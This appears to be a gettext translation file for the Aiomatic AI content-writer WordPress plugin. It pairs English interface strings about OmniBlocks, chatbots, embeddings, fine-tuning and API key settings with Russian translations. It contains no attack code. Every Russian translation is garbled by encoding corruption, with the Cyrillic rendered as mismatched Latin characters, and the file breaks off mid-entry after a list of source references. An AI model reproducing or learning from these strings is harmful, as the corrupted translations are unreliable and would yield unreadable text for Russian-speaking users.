#: res/aiomatic-single-list.php:1279 res/aiomatic-single-list.php:2176 #: res/aiomatic-single-list.php:2911 res/aiomatic-single-list.php:4164 #: res/aiomatic-single-list.php:5478 res/aiomatic-single-list.php:6844 #: res/aiomatic-spinner-list.php:2148 res/aiomatic-youtube-list.php:1226 msgid "Add Nofollow Attribute To Manual Links:" msgstr "Добавьте атрибут Nofollow к ÑÑылкам вручную:" #: aiomatic-automatic-ai-content-writer.php:14664 #: res/aiomatic-automation-list.php:2032 res/aiomatic-automation-list.php:4499 #: res/aiomatic-automation-list.php:7256 msgid "Add OmniBlock" msgstr "Добавить OmniBlock" #: aiomatic-automatic-ai-content-writer.php:15403 msgid "Add or remove Post Source" msgstr "Добавить или удалить иÑточник ПоÑтов" #: res/aiomatic-amazon-list.php:3325 msgid "Add Product Comparison Table" msgstr "Добавить таблицу ÑÑ€Ð°Ð²Ð½ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð¾Ð²" #: res/aiomatic-amazon-list.php:699 res/aiomatic-single-list.php:4907 msgid "Add Product Comparison Table:" msgstr "Добавьте Ñравнительную таблицу продуктов:" #: res/aiomatic-amazon-list.php:3203 res/aiomatic-review-list.php:3188 msgid "Add Product Images To The Article" msgstr "Добавьте Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð° в Ñтатью" #: res/aiomatic-amazon-list.php:577 res/aiomatic-review-list.php:504 #: res/aiomatic-single-list.php:4785 res/aiomatic-single-list.php:6009 msgid "Add Product Images To The Article:" msgstr "Добавьте Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ñ‚Ð¾Ð²Ð°Ñ€Ð° в Ñтатью:" #: res/aiomatic-amazon-list.php:3138 msgid "Add Product Titles To Content As" msgstr "Добавить Ð½Ð°Ð·Ð²Ð°Ð½Ð¸Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð¾Ð² к Ñодержимому как" #: res/aiomatic-amazon-list.php:538 res/aiomatic-single-list.php:4746 msgid "Add Product Titles To Content As:" msgstr "Добавить Ð½Ð°Ð·Ð²Ð°Ð½Ð¸Ñ Ð¿Ñ€Ð¾Ð´ÑƒÐºÑ‚Ð¾Ð² к контенту как:" #: res/aiomatic-rules-list.php:3290 res/aiomatic-youtube-list.php:3023 msgid "Add Sections To Content As" msgstr "Добавить Разделы к Ñодержимому как" #: res/aiomatic-rules-list.php:471 res/aiomatic-single-list.php:1424 #: res/aiomatic-single-list.php:3412 res/aiomatic-youtube-list.php:474 msgid "Add Sections To Content As:" msgstr "Добавить Разделы к Ñодержимому как:" #: res/aiomatic-main.php:7025 #, php-format msgid "Add the %%web_results%% shortcode template" msgstr "Добавьте шаблон Шорткода %%web_results%%." #: res/aiomatic-automation-list.php:2032 res/aiomatic-automation-list.php:4499 #: res/aiomatic-automation-list.php:7256 msgid "Add the above OmniBlock to the Queue" msgstr "Добавьте указанный выше OmniBlock в очередь." #: res/aiomatic-main.php:7004 msgid "Add the edited prompt" msgstr "Добавьте отредактированную Промпт" #: res/aiomatic-csv-list.php:82 res/aiomatic-single-list.php:1057 msgid "" "Add the URLs of the CSV files from where the plugin will get the details for " "publishing posts. Add each file URL on a new line." msgstr "" "Добавьте URL-адреÑа файлов CSV, откуда плагин будет получать информацию Ð´Ð»Ñ " "публикации ПоÑтов. Добавьте каждый URL-Ð°Ð´Ñ€ÐµÑ Ñ„Ð°Ð¹Ð»Ð° в новой Ñтроке." #: res/aiomatic-youtube-list.php:3149 msgid "Add The YouTube Video To The Article" msgstr "Добавьте видео YouTube в Ñтатью" #: res/aiomatic-single-list.php:3502 res/aiomatic-youtube-list.php:564 msgid "Add The YouTube Video To The Article:" msgstr "Добавьте видео YouTube в Ñтатью:" #: aiomatic-automatic-ai-content-writer.php:13968 #: res/aiomatic-automation-list.php:1337 res/aiomatic-automation-list.php:3804 #: res/aiomatic-automation-list.php:6560 msgid "add this OmniBlock and save settings to get the URL" msgstr "" "добавьте Ñтот OmniBlock и Ñохраните наÑтройки, чтобы получить URL-адреÑ" #: res/aiomatic-main.php:6895 msgid "Add your embedding rewriter prompt" msgstr "Добавьте Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° вÑтраивание перепиÑчика" #: res/aiomatic-main.php:1913 #, php-format msgid "" "Adding your Anthropic Claude API key in this settings field, will make the " "Anthropic Claude models to appear in all model selector boxes from the " "plugin. To make it work, insert your Anthropic Claude API Keys (one per line)" ". Get your API key here." msgstr "" "Добавив ключ API Anthropic Claude в Ñто поле наÑтроек, вы заÑтавите модели " "Anthropic Claude отображатьÑÑ Ð²Ð¾ вÑех окнах выбора моделей из плагина. Чтобы " "Ñто работало, вÑтавьте ваши API-ключи Anthropic Claude (по одному в Ñтроку). " "Получить Ñвой API-ключ здеÑÑŒ." #: res/aiomatic-main.php:1936 #, php-format msgid "" "Adding your Google MakerSuite API key in this settings field, will make the " "Google MakerSuite AI models to appear in all model selector boxes from the " "plugin. To make it work, insert your Google MakerSuite AI API Keys (one per " "line). Get your API key here." msgstr "" "Добавление ключа API Google MakerSuite в Ñто поле наÑтроек заÑтавит модели " "Google MakerSuite AI отображатьÑÑ Ð²Ð¾ вÑех окнах выбора моделей из плагина. " "Чтобы Ñто работало, вÑтавьте Ñвои API-ключи Google MakerSuite AI (по одному " "в Ñтроку). Получить ключ API здеÑÑŒ." #: res/aiomatic-main.php:1982 #, php-format msgid "" "Adding your OpenRouter key in this settings field, will make the OpenRouter " "AI models to appear in all model selector boxes from the plugin. To make it " "work, insert your OpenRouter AI API Keys (one per line). Get your API key here." msgstr "" "Добавление ключа OpenRouter в Ñто поле наÑтроек заÑтавит модели OpenRouter " "AI отображатьÑÑ Ð²Ð¾ вÑех окнах выбора моделей из плагина. Чтобы Ñто работало, " "вÑтавьте ваши API-ключи OpenRouter AI (по одному в Ñтроку). Получить Ñвой " "API-ключ здеÑÑŒ." #: res/aiomatic-main.php:1959 #, php-format msgid "" "Adding your Perplexity key in this settings field, will make the Perplexity " "AI models to appear in all model selector boxes from the plugin. To make it " "work, insert your Perplexity AI API Keys (one per line). Get your API key here." msgstr "" "Добавив ключ Perplexity в Ñто поле наÑтроек, вы заÑтавите модели Perplexity " "AI отображатьÑÑ Ð²Ð¾ вÑех окнах выбора моделей из плагина. Чтобы Ñто работало, " "вÑтавьте Ñвои API-ключи Perplexity AI (по одному в Ñтроку). Получить Ñвой " "API-ключ здеÑÑŒ." #: res/aiomatic-main.php:1904 msgid "Additional AI API Settings:" msgstr "Дополнительные наÑтройки AI API:" #: res/aiomatic-main.php:6541 msgid "Additional Embeddings Settings:" msgstr "Дополнительные наÑтройки вÑтраиваниÑ:" #: res/aiomatic-automation-list.php:4521 res/aiomatic-automation-list.php:7275 msgid "Additional Parameters" msgstr "Дополнительные параметры" #: res/aiomatic-amazon-list.php:3913 res/aiomatic-review-list.php:4066 #: res/aiomatic-rules-list.php:4314 res/aiomatic-youtube-list.php:3824 msgid "Additional Post Category" msgstr "Ð”Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ ÐšÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ ÐŸÐ¾Ñтов" #: res/aiomatic-amazon-list.php:1363 res/aiomatic-review-list.php:1432 #: res/aiomatic-rules-list.php:1565 res/aiomatic-youtube-list.php:1319 msgid "Additional Post Category:" msgstr "Ð”Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ ÐšÐ°Ñ‚ÐµÐ³Ð¾Ñ€Ð¸Ñ ÐŸÐ¾Ñтов:" #: res/aiomatic-amazon-list.php:4066 res/aiomatic-review-list.php:4219 #: res/aiomatic-rules-list.php:4467 res/aiomatic-youtube-list.php:3977 msgid "Additional Post Tags" msgstr "Дополнительные Теги ПоÑтов" #: res/aiomatic-amazon-list.php:1490 res/aiomatic-review-list.php:1559 #: res/aiomatic-rules-list.php:1692 res/aiomatic-youtube-list.php:1446 msgid "Additional Post Tags:" msgstr "Дополнительные Теги ПоÑтов:" #: res/aiomatic-automation-list.php:4532 res/aiomatic-automation-list.php:7281 msgid "Additional Shortcodes:" msgstr "Дополнительные короткие коды:" #: aiomatic-automation.php:535 msgid "" "Adds a related royalty free images to the content. For this feature to work, " "you need to select one or multipel royalty free images services from the " "plugin's 'Main Settings' menu -> 'Royalty Free Images' tab." msgstr "" "ДобавлÑет в контент ÑвÑзанные изображениÑ, не требующие лицензионных " "отчиÑлений. Чтобы Ñта Ñ„ÑƒÐ½ÐºÑ†Ð¸Ñ Ñ€Ð°Ð±Ð¾Ñ‚Ð°Ð»Ð°, вам необходимо выбрать одну или " "неÑколько Ñлужб изображений без лицензионных отчиÑлений в меню «ОÑновные " "наÑтройки» плагина -> вкладка Â«Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð±ÐµÐ· лицензионных отчиÑлений»." #: aiomatic-automation.php:553 msgid "Adds a related YouTube video to the content." msgstr "ДобавлÑет ÑвÑзанное видео YouTube к контенту." #: aiomatic-helpers.php:464 msgid "Adds an OmniBlock for direct Instagram sharing of content" msgstr "ДобавлÑет OmniBlock Ð´Ð»Ñ Ð¿Ñ€Ñмого обмена контентом в Instagram." #: aiomatic-helpers.php:444 msgid "Adds an OmniBlock for direct LinkedIn sharing of content" msgstr "ДобавлÑет OmniBlock Ð´Ð»Ñ Ð¿Ñ€Ñмого обмена контентом в LinkedIn." #: aiomatic-helpers.php:474 msgid "Adds an OmniBlock for direct Pinterest sharing of content" msgstr "ДобавлÑет OmniBlock Ð´Ð»Ñ Ð¿Ñ€Ñмого обмена контентом в Pinterest" #: aiomatic-helpers.php:454 msgid "Adds an OmniBlock for direct Reddit sharing of content" msgstr "ДобавлÑет OmniBlock Ð´Ð»Ñ Ð¿Ñ€Ñмого обмена контентом Reddit." #: aiomatic-helpers.php:424 msgid "Adds an OmniBlock for direct X (Twitter) sharing of content" msgstr "ДобавлÑет OmniBlock Ð´Ð»Ñ Ð¿Ñ€Ñмого обмена контентом через X (Twitter)." #: aiomatic-helpers.php:434 msgid "Adds an OmniBlock for direct YouTube Community sharing of content" msgstr "" "ДобавлÑет OmniBlock Ð´Ð»Ñ Ð¿Ñ€Ñмого обмена контентом Ñ ÑообщеÑтвом YouTube." #: aiomatic-helpers.php:414 msgid "Adds two OmniBlocks for direct Facebook sharing of text and images" msgstr "" "ДобавлÑет два OmniBlock Ð´Ð»Ñ Ð¿Ñ€Ñмого обмена текÑтом и изображениÑми в " "Facebook." #: res/aiomatic-limits-statistics.php:921 #: res/aiomatic-limits-statistics.php:1215 msgid "Admins Only" msgstr "Только админиÑтраторы" #: res/aiomatic-main.php:4921 #| msgid "Advanced AI API Settings" msgid "Advanced AI API Settings:" msgstr "РаÑширенные ÐаÑтройки AI API:" #: res/aiomatic-main.php:18 msgid "Advanced AI Settings" msgstr "РаÑширенные наÑтройки AI" #: res/aiomatic-amazon-list.php:1497 res/aiomatic-amazon-list.php:4073 #: res/aiomatic-review-list.php:1566 res/aiomatic-review-list.php:4226 #: res/aiomatic-rules-list.php:1699 res/aiomatic-rules-list.php:4474 #: res/aiomatic-single-list.php:2198 res/aiomatic-single-list.php:2933 #: res/aiomatic-single-list.php:4186 res/aiomatic-single-list.php:5500 #: res/aiomatic-single-list.php:6866 res/aiomatic-youtube-list.php:1453 #: res/aiomatic-youtube-list.php:3984 msgid "Advanced AI Text Generator Options" msgstr "РаÑширенные параметры Генератора текÑта AI" #: res/aiomatic-spinner-list.php:1799 msgid "Advanced API Settings:" msgstr "РаÑширенные ÐаÑтройки API:" #: res/aiomatic-single-list.php:7251 msgid "Advanced Content Templates" msgstr "РаÑширенные шаблоны контента" #: res/aiomatic-single-list.php:289 msgid "Advanced Mode" msgstr "РаÑширенный режим" #: res/aiomatic-amazon-list.php:1118 res/aiomatic-amazon-list.php:3669 #: res/aiomatic-review-list.php:1188 res/aiomatic-review-list.php:3823 #: res/aiomatic-rules-list.php:1072 res/aiomatic-rules-list.php:3844 #: res/aiomatic-single-list.php:2025 res/aiomatic-single-list.php:4013 #: res/aiomatic-single-list.php:5326 res/aiomatic-single-list.php:6693 #: res/aiomatic-youtube-list.php:1075 res/aiomatic-youtube-list.php:3581 msgid "Advanced Prompting Options" msgstr "РаÑширенные параметры Промптов" #: res/admin/ai-post-gutenberg.php:78 res/aiomatic-amazon-list.php:166 #: res/aiomatic-amazon-list.php:334 res/aiomatic-amazon-list.php:2942 #: res/aiomatic-automation-list.php:4646 res/aiomatic-automation-list.php:7364 #: res/aiomatic-automation-list.php:7369 res/aiomatic-csv-list.php:28 #: res/aiomatic-csv-list.php:196 res/aiomatic-csv-list.php:1322 #: res/aiomatic-limits-statistics.php:144 #: res/aiomatic-limits-statistics.php:1544 res/aiomatic-review-list.php:166 #: res/aiomatic-review-list.php:334 res/aiomatic-review-list.php:3019 #: res/aiomatic-rules-list.php:166 res/aiomatic-rules-list.php:349 #: res/aiomatic-rules-list.php:3182 res/aiomatic-single-list.php:1106 #: res/aiomatic-single-list.php:1317 res/aiomatic-single-list.php:2520 #: res/aiomatic-single-list.php:3272 res/aiomatic-single-list.php:4542 #: res/aiomatic-single-list.php:5839 res/aiomatic-youtube-list.php:166 #: res/aiomatic-youtube-list.php:334 res/aiomatic-youtube-list.php:2910 msgid "Advanced Settings" msgstr "РаÑширенные ÐаÑтройки" #: res/aiomatic-main.php:6345 msgid "Advanced Settings:" msgstr "РаÑширенные наÑтройки:" #: res/aiomatic-main.php:9178 msgid "Affiliate Keyword Replacer Tool Settings:" msgstr "ÐаÑтройки инÑтрумента замены Ключевых Слов Ð´Ð»Ñ Ð¿Ð°Ñ€Ñ‚Ð½ÐµÑ€Ð¾Ð²:" #: res/aiomatic-amazon-list.php:9 res/aiomatic-review-list.php:9 #: res/aiomatic-rules-list.php:9 res/aiomatic-single-list.php:9 #: res/aiomatic-single-list.php:147 res/aiomatic-youtube-list.php:9 msgid "Afrikaans" msgstr "Afrikaans" #: res/aiomatic-languages.php:5 msgid "Afrikaans (Google Translate)" msgstr "Afrikaans (Google Translate)" #: res/aiomatic-main.php:6553 msgid "" "After creating your Pinecone API, create a new index. Make sure to set your " "dimension to 1536 and also make sure to set your metric to cosine. Enter the " "generated index ID here." msgstr "" "ПоÑле ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ API Pinecone Ñоздайте новый index. ОбÑзательно уÑтановите " "размерноÑÑ‚ÑŒ 1536, а также убедитеÑÑŒ, что метрика уÑтановлена на коÑинуÑ. " "Введите здеÑÑŒ Ñгенерированный идентификатор индекÑа." #: res/aiomatic-main.php:6577 msgid "After creating your Pinecone API, create a new namespace (optional)." msgstr "" "ПоÑле ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ API Pinecone Ñоздайте новое проÑтранÑтво имен (необÑзательно)." #: res/aiomatic-main.php:6601 msgid "" "After creating your Qdrant_index API, create a new index. Make sure to set " "your dimension to 1536 and also make sure to set your metric to cosine. " "Enter the generated index ID here." msgstr "" "ПоÑле ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ API Qdrant_index Ñоздайте новый индекÑ. ОбÑзательно " "уÑтановите размерноÑÑ‚ÑŒ 1536, а также уÑтановите метрику коÑинуÑа. Введите " "здеÑÑŒ Ñгенерированный ID индекÑа." #: res/aiomatic-training.php:72 msgid "" "after data upload is complete, go to the 'Datasets' tab of this plugin, " "search for the file you uploaded (be sure to sync files) and click 'Create " "Fine-Tune' for it. In the popup which appears, select 'New Model' if you " "want to create a new fine tune, or select any existing finetuned models, to " "create a new finetune based on that existing finetuned model. This process " "will take some time, for a dataset of 500 rows, it typically takes around 20 " "minutes." msgstr "" "поÑле Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ Ð·Ð°Ð³Ñ€ÑƒÐ·ÐºÐ¸ данных перейдите на вкладку «Ðаборы данных» Ñтого " "Плагина, найдите загруженный файл (обÑзательно Ñинхронизируйте файлы) и " "нажмите «Создать тонкую ÐаÑтройку» Ð´Ð»Ñ Ð½ÐµÐ³Ð¾. Ð’ поÑвившемÑÑ Ð²Ñплывающем окне " "выберите «ÐÐ¾Ð²Ð°Ñ Ð¼Ð¾Ð´ÐµÐ»ÑŒÂ», еÑли вы хотите Ñоздать новую тонкую ÐаÑтройку, или " "выберите любые ÑущеÑтвующие модели Ñ Ñ‚Ð¾Ð½ÐºÐ¾Ð¹ наÑтройкой, чтобы Ñоздать новую " "тонкую ÐаÑтройку на оÑнове Ñтой ÑущеÑтвующей модели Ñ Ñ‚Ð¾Ð½ÐºÐ¾Ð¹ наÑтройкой. " "Этот процеÑÑ Ð·Ð°Ð¹Ð¼ÐµÑ‚ некоторое времÑ, Ð´Ð»Ñ Ð½Ð°Ð±Ð¾Ñ€Ð° данных из 500 Ñтрок обычно " "требуетÑÑ Ð¾ÐºÐ¾Ð»Ð¾ 20 минут." #: res/aiomatic-training.php:73 msgid "" "after finetune creation is complete, go to the 'Model Finetunes' tab and " "check the finetune you created. Be sure to sync finetunes. Wait until the " "finetune is listed with status 'succeeded', after which, it will appear also " "in the plugin and can be directly selected, when selecting the models which " "you want to use for data creation in the plugin! If you don't see your fine-" "tuned model in the dropdown list, please make sure that the fine-tune " "request is complete. You can also click on \"Sync Models\" link to get " "latest models." msgstr "" "ПоÑле Ð·Ð°Ð²ÐµÑ€ÑˆÐµÐ½Ð¸Ñ ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ñ‚Ð¾Ð½ÐºÐ¾Ð¹ ÐаÑтройки перейдите на вкладку «Точные " "ÐаÑтройки модели» и проверьте Ñозданную вами тонкую ÐаÑтройку. ОбÑзательно " "Ñинхронизируйте FineTunes. Подождите, пока Ñ‚Ð¾Ð½ÐºÐ°Ñ Ð½Ð°Ñтройка не будет указана " "Ñо ÑтатуÑом «уÑпешно», поÑле чего она поÑвитÑÑ Ñ‚Ð°ÐºÐ¶Ðµ в Плагине и может быть " "выбрана напрÑмую при выборе моделей, которые вы хотите иÑпользовать Ð´Ð»Ñ " "ÑÐ¾Ð·Ð´Ð°Ð½Ð¸Ñ Ð´Ð°Ð½Ð½Ñ‹Ñ… в Плагине! ЕÑли вы не видите Ñвою доработанную модель в " "раÑкрывающемÑÑ ÑпиÑке, убедитеÑÑŒ, что Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° доработку выполнен. Ð’Ñ‹ также " "можете щелкнуть ÑÑылку «Синхронизировать модели», чтобы получить поÑледние " "модели." #: res/aiomatic-spinner-list.php:898 msgid "" "After you've configured all the settings to your liking, make sure to click " "the \"Save Changes\" button at the bottom of the page." msgstr "" "ПоÑле того, как вы наÑтроили вÑе параметры по Ñвоему вкуÑу, не забудьте " "нажать кнопку «Сохранить изменениÑ» внизу Ñтраницы." #: res/aiomatic-main.php:1560 msgid "Afterwards, you need to add your" msgstr "ПоÑле Ñтого вам нужно добавить Ñвой" #: res/aiomatic-shortcodes.php:249 msgid "AI API Options" msgstr "Параметры API AI " #: aiomatic-automation.php:25 aiomatic-automation.php:62 #: aiomatic-automation.php:287 aiomatic-automation.php:357 msgid "AI Assistant" msgstr "AI Assistant" #: aiomatic-automatic-ai-content-writer.php:15481 msgid "AI Assistant First Message" msgstr "Первое Ñообщение AI ÐÑÑиÑтента" #: res/admin/ai-post-gutenberg.php:80 res/admin/ai-post.php:74 msgid "AI Assistant ID" msgstr "Идентификатор AI-аÑÑиÑтента" #: aiomatic-ajax-actions.php:8053 res/aiomatic-shortcodes.php:250 msgid "AI Assistant ID*" msgstr "Идентификатор AI-аÑÑиÑтента*" #: res/aiomatic-amazon-list.php:351 res/aiomatic-amazon-list.php:2953 #: res/aiomatic-chatbot.php:688 res/aiomatic-chatbot.php:1098 #: res/aiomatic-main.php:3214 res/aiomatic-main.php:3741 #: res/aiomatic-main.php:4034 res/aiomatic-main.php:4160 #: res/aiomatic-main.php:5039 res/aiomatic-main.php:5138 #: res/aiomatic-main.php:5267 res/aiomatic-main.php:5497 #: res/aiomatic-main.php:6908 res/aiomatic-main.php:7061 #: res/aiomatic-review-list.php:351 res/aiomatic-review-list.php:3030 #: res/aiomatic-rules-list.php:366 res/aiomatic-rules-list.php:3192 #: res/aiomatic-single-list.php:1334 res/aiomatic-single-list.php:2537 #: res/aiomatic-single-list.php:3289 res/aiomatic-single-list.php:4559 #: res/aiomatic-single-list.php:5856 res/aiomatic-spinner-list.php:944 #: res/aiomatic-spinner-list.php:1663 res/aiomatic-spinner-list.php:1896 #: res/aiomatic-spinner-list.php:2263 res/aiomatic-spinner-list.php:2438 #: res/aiomatic-spinner-list.php:2611 res/aiomatic-spinner-list.php:2830 #: res/aiomatic-youtube-list.php:351 res/aiomatic-youtube-list.php:2920 msgid "AI Assistant Name:" msgstr "Ð˜Ð¼Ñ AI-аÑÑиÑтента:" #: res/aiomatic-amazon-list.php:340 res/aiomatic-amazon-list.php:2947 #: res/aiomatic-review-list.php:340 res/aiomatic-review-list.php:3024 #: res/aiomatic-rules-list.php:355 res/aiomatic-rules-list.php:3186 #: res/aiomatic-single-list.php:1323 res/aiomatic-single-list.php:2526 #: res/aiomatic-single-list.php:3278 res/aiomatic-single-list.php:4548 #: res/aiomatic-single-list.php:5845 res/aiomatic-youtube-list.php:340 #: res/aiomatic-youtube-list.php:2914 msgid "AI Assistant Options" msgstr "Опции AI-ÐÑÑиÑтента" #: res/aiomatic-chatbot.php:706 res/aiomatic-chatbot.php:1116 #| msgid "AI Assistant Model:" msgid "AI Assistant Role:" msgstr "Роль аÑÑиÑтента ИИ:" #: aiomatic-automatic-ai-content-writer.php:1340 res/aiomatic-assistants.php:47 #| msgid "AI Assistant:" msgid "AI Assistants" msgstr " AI ÐÑÑиÑтенты" #: res/aiomatic-assistants.php:66 #| msgid "AI Assistant Tutorial Video:" msgid "AI Assistants Tutorial Video" msgstr "Учебное видео по AI ÐÑÑиÑтенты :" #: aiomatic-shortcodes-file.php:531 msgid "AI Asssitant ID" msgstr "Идентификатор ÐÑÑиÑтента AI" #: res/aiomatic-chatbot.php:760 res/aiomatic-chatbot.php:1170 msgid "AI Avatar Image:" msgstr "Изображение Ðватара AI:" #: res/aiomatic-chatbot.php:1860 res/aiomatic-chatbot.php:3699 msgid "AI Baloon Background Color:" msgstr "Цвет фона вÑплывающего окна AI:" #: aiomatic-automatic-ai-content-writer.php:1344 msgid "AI Chatbot" msgstr "AI Чат-бот" #: res/aiomatic-chatbot.php:1770 res/aiomatic-chatbot.php:3609 msgid "AI Chatbot Coloring Options:" msgstr "Варианты раÑкраÑки AI-чат-бота:" #: res/aiomatic-chatbot.php:662 msgid "AI Chatbot Configuration Details" msgstr "Детали конфигурацAI AI Chatbot" #: res/aiomatic-chatbot.php:3473 msgid "AI Chatbot Default Styling Options:" msgstr "Параметры Ð¡Ñ‚Ð¸Ð»Ñ Ð§Ð°Ñ‚-бота AI по Умолчанию:" #: res/aiomatic-chatbot.php:4261 msgid "AI Chatbot Embedding On Remote Sites Settings:" msgstr "Ð’Ñтраивание AI Chatbot на удаленные Ñайты:" #: res/aiomatic-chatbot.php:2565 msgid "AI Chatbot Limitations:" msgstr "ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ AI Чат-бота:" #: res/aiomatic-chatbot.php:3936 msgid "AI Chatbot Moderation Options:" msgstr "Варианты модерации AI Chatbot:" #: res/aiomatic-chatbot.php:4001 msgid "AI Chatbot Settings:" msgstr "ÐаÑтройки AI Чат-бот:" #: res/aiomatic-chatbot.php:671 msgid "AI Chatbot Tutorial Video" msgstr "Учебное видео по AI Чат-боту" #: res/aiomatic-more.php:13 msgid "AI Comment Replier" msgstr "Ответчик Комментариев AI" #: res/aiomatic-more.php:69 msgid "AI Comment Replier Tutorial Video:" msgstr "Учебное видео об Ответчике Комментариев AI:" #: res/aiomatic-main.php:5545 msgid "AI Comment Writer Model:" msgstr "Модель Ðвтора Комментариев AI:" #: res/aiomatic-main.php:5576 msgid "AI Comment Writer Prompt:" msgstr "Промпты Ðвтора Комментариев AI:" #: res/aiomatic-main.php:5487 msgid "AI Comment Writer Settings:" msgstr "ÐаÑтройки AI Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐšÐ¾Ð¼Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ð¸ÐµÐ² :" #: res/aiomatic-main.php:5582 msgid "AI Comment Writer Tutorial Video:" msgstr "Учебное видео по напиÑанию комментариев AI:" #: res/aiomatic-main.php:35 msgid "AI Commenter" msgstr "AI Создатель Комментариев" #: res/aiomatic-playground.php:33 msgid "AI Content Checker" msgstr "Проверка AI Контента " #: res/aiomatic-spinner-list.php:1603 msgid "AI Content Completition Options:" msgstr "Параметры AI-Контента ЗавершениÑ:" #: res/image-seo/seo-panel.php:28 msgid "AI Content Creator Settings:" msgstr "ÐаÑтройки Ð¡Ð¾Ð·Ð´Ð°Ñ‚ÐµÐ»Ñ ÐšÐ¾Ð½Ñ‚ÐµÐ½Ñ‚Ð° AI:" #: res/aiomatic-spinner-list.php:907 #| msgid "AI Content Rewriter Options:" msgid "AI Content Editing Options:" msgstr "Параметры Ð ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ AI Контента:" #: aiomatic-automatic-ai-content-writer.php:1334 msgid "AI Content Editor" msgstr "Редактор AI-Контента" #: res/aiomatic-spinner-list.php:1162 msgid "AI Content Editor Temperature:" msgstr "Температура редактора Контента AI:" #: res/aiomatic-spinner-list.php:1175 msgid "AI Content Editor Top_p:" msgstr "Редактор Контента AI Top_p:" #: res/aiomatic-spinner-list.php:901 msgid "AI Content Editor Tutorial Video" msgstr "Учебное видео по редактору Контента AI" #: res/aiomatic-more.php:86 msgid "AI Content Filters Feature Tutorial Video:" msgstr "Обучающее видео по функциÑм фильтров контента AI:" #: res/aiomatic-rules-list.php:3939 msgid "AI Content Minimum Character Count" msgstr "Минимальное количеÑтво Ñимволов AI-Контента" #: res/aiomatic-rules-list.php:1188 res/aiomatic-single-list.php:2627 msgid "AI Content Minimum Character Count:" msgstr "Минимальное количеÑтво Ñимволов AI-Контента:" #: res/aiomatic-spinner-list.php:1810 msgid "AI Content Writer Temperature:" msgstr "AI Content Writer Temperature:" #: res/aiomatic-spinner-list.php:1823 msgid "AI Content Writer Top_p:" msgstr "AI Content Writer Top_p:" #: res/aiomatic-main.php:5087 msgid "AI Default Featured Image Selector Model:" msgstr "Модель выбора избранного Ð¸Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ AI по умолчанию:" #: res/aiomatic-main.php:5118 msgid "AI Default Featured Image Selector:" msgstr "Выбор избранных изображений AI по умолчанию:" #: aiomatic-automatic-ai-content-writer.php:1352 msgid "AI Embeddings" msgstr "Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ AI" #: res/aiomatic-main.php:6811 msgid "AI Embeddings Auto Indexing Settings:" msgstr "ÐаÑтройки автоматичеÑкого индекÑÐ¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ AI Ð’ÑтраиваниÑ:" #: res/aiomatic-main.php:6862 msgid "AI Embeddings Optimization Settings:" msgstr "ÐаÑтройки оптимизации Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ AI:" #: res/aiomatic-main.php:6513 msgid "AI Embeddings Settings:" msgstr "ÐаÑтройки вÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ AI:" #: res/aiomatic-main.php:6843 msgid "AI Embeddings Template Settings:" msgstr "ÐаÑтройки Шаблона Ð’ÑÑ‚Ñ€Ð°Ð¸Ð²Ð°Ð½Ð¸Ñ AI:" #: res/aiomatic-chatbot.php:1844 res/aiomatic-chatbot.php:3683 msgid "AI Font Color:" msgstr "Цвет шрифта AI:" #: res/aiomatic-main.php:33 res/aiomatic-main.php:6801 #: res/aiomatic-main.php:7303 msgid "AI Forms" msgstr "Формы AI" #: res/aiomatic-main.php:3462 msgid "AI Forms Image Options:" msgstr "Параметры Ð˜Ð·Ð¾Ð±Ñ€Ð°Ð¶ÐµÐ½Ð¸Ñ Ð¤Ð¾Ñ€Ð¼ AI:" #: res/aiomatic-shortcodes.php:103 msgid "AI Forms Importer/Exporter" msgstr "Импортер/ЭкÑпортер Форм AI" #: res/aiomatic-main.php:3505 msgid "AI Forms Options:" msgstr "Варианты AI-Форм:" #: res/aiomatic-main.php:3429 msgid "AI Forms Restrictions:" msgstr "ÐžÐ³Ñ€Ð°Ð½Ð¸Ñ‡ÐµÐ½Ð¸Ñ Ð¤Ð¾Ñ€Ð¼ AI:" #: res/aiomatic-shortcodes.php:105 msgid "AI Forms Settings" msgstr "ÐаÑтройки AI-форм" #: res/aiomatic-main.php:3631 msgid "AI Forms Styling:" msgstr "Стиль Форм AI:" #: res/aiomatic-amazon-list.php:4149 res/aiomatic-review-list.php:4302 #: res/aiomatic-rules-list.php:4550 res/aiomatic-youtube-list.php:4060 msgid "AI Frequency Penalty" msgstr "Штраф за чаÑтоту AI" #: res/aiomatic-amazon-list.php:1595 res/aiomatic-review-list.php:1664 #: res/aiomatic-rules-list.php:1797 res/aiomatic-single-list.php:2281 #: res/aiomatic-single-list.php:3031 res/aiomatic-single-list.php:4284 #: res/aiomatic-single-list.php:5598 res/aiomatic-single-list.php:6964 #: res/aiomatic-spinner-list.php:1849 